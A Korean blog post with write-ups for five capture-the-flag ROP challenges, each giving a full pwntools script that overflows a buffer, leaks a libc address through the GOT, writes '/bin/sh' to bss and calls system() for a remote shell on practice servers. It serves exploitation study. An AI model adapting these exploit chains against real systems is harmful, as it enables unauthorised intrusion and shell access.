여러가지 ROP 문제 풀이

2021. 8. 1. 19:02Layer7/Pwnable

728x90

- rop32 풀이

 

 

main() 함수
vuln() 함수

from pwn import *

p=remote('sunrin.site', 9003)
e=ELF('./rop32')
libc=ELF('./libc.so.6.rop32')

read=libc.symbols['read']
read_got=e.got['read']
read_plt=e.plt['read']
main=e.symbols['main']
system=libc.symbols['system']
bss=e.bss()
printf_plt=e.plt['printf']
pr=0x0804855b

payload='A'*0x3a+'B'*4
payload+=p32(printf_plt)+p32(pr)+p32(read_got)
payload+=p32(read_plt)
payload+=p32(main)+p32(0)+p32(bss+0x200)+p32(8)

p.sendafter(': ',payload)

libc_base = u32(p.recvuntil('\xf7')[-4:])-read

p.send('/bin/sh\x00')

payload='A'*0x3a+'B'*4
payload+=p32(libc_base+system)
payload+='b'*0x4+p32(bss+0x200)

p.sendafter(': ',payload)

p.interactive()

 

메모장에 3개 정도의 단계를 써가면서 페이로드를 작성했습니다.

 

- 함수의 주소를 leak

- bss에 /bin/sh 문자열 넣어놓고 main으로 돌리기

- system 함수를 이용해 bss에 있는 /bin/sh 문자열 실행

 

FLAG 획득 완료

 

 

- rop32 v2 풀이

 

 

main() 함수
vuln() 함수
try_to_win() 함수

from pwn import *

p=remote("sunrin.site",9004)
e=ELF('./rop32_v2')
libc=ELF('./libc.so.6.rop32v2')

pr=0x080486bb
read=libc.symbols['read']
read_plt=e.plt['read']
read_got=e.got['read']
system=libc.symbols['system']
puts_plt=e.plt['puts']
puts_got=e.got['puts']
vuln=e.symbols['vuln']
main=e.symbols['main']
bss=e.bss()

payload='a'*0x24+'b'*4
payload+=p32(puts_plt)+p32(pr)+p32(read_got)
payload+=p32(vuln)

p.sendafter(' : ',payload)

libc_base=u32(p.recvuntil('\xf7')[-4:])-read

payload='a'*0x24+'b'*4
payload+=p32(read_plt)+p32(vuln)+p32(0)+p32(bss+0x300)+p32(8)

p.sendafter(' : ',payload)
p.send('/bin/sh\x00')

payload='a'*0x24+'b'*4
payload+=p32(libc_base+system)
payload+='b'*0x4+p32(bss+0x300)

p.sendafter(' : ',payload)

p.interactive()

 

rop32와 거의 똑같은 문제였습니다.

다른 점은 함수 종류, vuln 함수에서 대부분의 일을 처리한다는 것 정도....?

 

FLAG 획득 완료

 

 

- ropasaurusrex 풀이

 

 

main() 함수
sub_80483F4() 함수

from pwn import *

p=remote("sunrin.site",9005)
e=ELF('./ropasaurusrex')
libc=ELF('./libc.so.6.ropasaurusrex')

p3r=0x080484b6
main=0x080483f4
write_plt=e.plt['write']
write_got=e.got['write']
read=libc.symbols['read']
read_plt=e.plt['read']
read_got=e.got['read']
main=0x0804841d
system=libc.symbols['system']
bss=e.bss()

payload='a'*0x88+'b'*4
payload+=p32(write_plt)+p32(p3r)+p32(1)+p32(read_got)+p32(4)
payload+=p32(read_plt)+p32(main)+p32(0)+p32(bss+0x200)+p32(8)

p.send(payload)

leak=u32(p.recvuntil('\xf7')[-4:])-read

p.send('/bin/sh\x00')

payload='a'*0x88+'b'*4
payload+=p32(leak+system)
payload+='b'*4+p32(bss+0x200)

p.send(payload)

p.interactive()

 

이 문제 역시 rop32, rop32 v2와 유사했습니다.

그런데 main=e.symbols['main']으로 main() 함수의 주소를 가져오니까 깨지더라구요.

그래서 그냥 IDA로 열어서 main() 함수 주소를 가져왔습니다.

 

main() 함수의 주소
FLAG 획득 완료

 

 

- rop64 v2

 

main() 함수

from pwn import *

context.log_level='debug'

e=ELF('./rop64_v2')
p=remote('sunrin.site',9007)
libc=ELF('./libc.so.6.rop64v2')

write_plt=e.plt['write']
write_got=e.got['write']
read=libc.symbols['read']
read_plt=e.plt['read']
read_got=e.got['read']
main=e.symbols['main']
system=libc.symbols['system']
bss=e.bss()
prdi=0x00000000004005f3 # pop rdi ; ret
prsi_r15=0x00000000004005f1 # pop rsi ; pop r15 ; ret

pay='A'*0x10 # BUF
pay+='B'*8 # SFP

# write(1,write@got,0x100)
pay+=p64(prdi) # BUF
pay+=p64(1) # rdi
pay+=p64(prsi_r15)
pay+=p64(read_got) # rsi
pay+=p64(4) # r15
pay+=p64(write_plt)

pay+=p64(prdi)
pay+=p64(0)
pay+=p64(prsi_r15)
pay+=p64(bss+0x200)
pay+=p64(8)
pay+=p64(read_plt)
pay+=p64(main) # ret -> main

p.sendafter('Hell, World\n',pay)

leak = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-read # padding
p.send('/bin/sh\x00')

pay='A'*0x10 # BUF
pay+='B'*8 # SFP
pay+=p64(prdi)
pay+=p64(bss+0x200)
pay+=p64(leak+system)

p.sendafter('Hell, World\n',pay)

p.interactive()

 

basic_rop_x64와 비슷한 방식으로 풀었습니다.

 

[ basic_rop_x64 풀이 ]

 

FLAG 획득 완료

 

 

- BaskinRobins31

 

main() 함수
my_turn() 함수
your_turn() 함수
check_decision() 함수

from pwn import*

context.log_level='debug'

p=remote('sunrin.site',9008)
e=ELF('./BaskinRobins31')
libc=e.libc

prdi=0x0000000000400bc3
pppr=0x000000000040087a
main=e.symbols['main']
write_plt=e.plt['write']
write_got=e.got['write']
system=libc.symbols['system']
read=libc.symbols['read']
read_plt=e.plt['read']
read_got=e.got['read']
your_turn=e.symbols['your_turn']
puts_plt=e.plt['puts']
puts_got=e.got['puts']
bss=e.bss()

payload='A'*(0xB0 + 0x8)
payload+=p64(prdi)
payload+=p64(read_got)
payload+=p64(puts_plt)
payload+=p64(pppr)
payload+=p64(0)
payload+=p64(bss+0x200)
payload+=p64(8)
payload+=p64(read_plt)
payload+=p64(your_turn)

p.sendlineafter('How many numbers do you want to take ? (1-3)\n',payload)

leak=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-read
p.send('/bin/sh\x00')

payload='A'*(0xB0 + 0x8)
payload+=p64(prdi)+p64(bss+0x200)
payload+=p64(leak+system)

p.send(payload)

p.interactive()

 

이 문제는 함수가 다른 문제들보다 많아서 좀 복잡했습니다.

 

your_turn() 함수의 read 부분에서 BOF가 발생한다는 것을 발견하고, 이를 이용해 문제를 풀었습니다.

 

- 함수 주소 leak

- bss 영역에 /bin/sh 문자열을 넣어놓고 main으로

- leak한 주소를 이용해 system@call, /bin/sh 문자열이 system() 함수에 의해 실행

 

FLAG 획득 완료

하얗게 불태웠다....

728x90

'Layer7 > Pwnable' 카테고리의 다른 글

FSB 문제 풀이 (2)  (0) 2021.08.03
FSB 문제 풀이 (1)  (0) 2021.08.01
Pwndbg 동적 디버깅으로 RTL 32bit, RTL 64bit 풀기 - Ubuntu Linux  (0) 2021.07.19
PLT와 GOT  (0) 2021.07.17